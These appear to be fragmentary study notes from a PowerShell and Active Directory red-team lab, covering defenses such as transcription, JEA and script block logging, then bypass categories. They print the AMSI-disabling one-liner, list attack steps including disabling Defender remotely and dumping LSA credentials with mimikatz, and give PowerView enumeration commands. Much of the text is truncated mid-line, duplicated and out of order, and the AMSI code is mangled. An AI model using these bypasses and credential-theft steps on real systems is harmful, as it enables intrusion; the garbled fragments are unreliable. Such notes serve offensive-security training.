 - Can be enabled using Group Policy (Administrative Templates -> Windows Components -> Windows PowerShell -> Turn on P
 - By default, the transcripts are saved in the user's "My Documents" directory.
 - HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription is the Registry key. Set enable transcripting to 1.
5. JEA
 - JEA (Just Enough Administration) provides role based access control for PowerShell based remote delegated administration
 - With JEA, non-admin users can connect remotely to machines for doing specific tasks.
 - Focused more on securing privileged access than solving a problem introduced with PowerShell
 - JEA endpoints have PowerShell transcription and logging enabled.
Bypasses
 - Bypasses for the defenses discussed above can be categorized in the following categories :
   * PowerShell downgrade to version 2
   * Unloading, disabling or unsubscribing
   * Obfuscation
   * Trust Abuse (using trusted executables and code injection in trusted scripts)
 - Many bypasses leave log entries which can be used to detect them
3. Bypassing AMSI
 - AMSI can be bypassed for the current session without admin rights by setting the amsiInitFailed of System.Management.Au
 - Tweeted by Matt Graber
 https://twitter.com/mattifestation/status/735261176745988096
[Ref].Assembly.GetType('http://System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetV
 o restrict PowerShell scripts. If Applocker is configured in "Allow mode" for scripts, PowerShell 5 automatically uses the Constrained Langu
ements are allowed but allows only limited types.
rshell.exe is blocked , .NET code can use System.Management.Automation NameSpace to load PowerShell functionality.
e pshell.xml
em-wide transcription.
ker's actvities if he is using PowerShell.
 ell.exe, PowerShell ISE, custom hosts - .NET DLL, msbuild, installutil etc.) which uses PowerShell engine.
> Windows Components -> Windows PowerShell -> Turn on PowerShell transcription).
nts" directory.
 scription is the Registry key. Set enable transcripting to 1.
ize because the command output is also recorded. It is always recommended to forward the transcripts to a log system to avoid the temp
 se 4104). Set "Log script block invocation start / stop events" for start and stop of scripts in Event ID 4105 & 4106 (increases the no. of log
ptBlockLogging is the Registry key. Set EnableScriptBlockLogging to 1.
 based on a list of suspicious commands.
and deobfuscated code.
f suspicious commands.
n of script blocks is logged.
tivirus access to contents of a script before execution.
ethod (disk, encodedcommand, in-memory)
defender.
ndent on the signature based detection by the registered antivirus.
 rusted scripts)
hem
 reference assemblies.
e PS v2.
tection)
.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Block Logging)
n.
1    Use -FullData wherever possible while performing enumeration using PowerView
2    Enumerate ACLs for all the GPOs
3    Enumerate those GPOs where studentx or RDPUsers group have interesting permissions
7    Find the group of our foothold user and try to give that groupname as parameter to
     Invoke-UserHunter
8    PowerShell Reverse shell listener
9    Turn off defender and AV protection and disable AMSI on Remote machine
10   Dump creds from LSA using mimikatz after loading it in memory of a remote machine
11   Login to a machine using a particular account
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} |
?{$_.IdentityReference -match "student"}
Get-NetForestDomain -Verbose | Get-NetDomainTrust
Get-NetForestDomain -Verbose | Get-NetDomainTrust |
?{$_.TrustType -eq 'External'}
Get-NetForestDomain -Forest eurocorp.local -Verbose | Get-
NetDomainTrust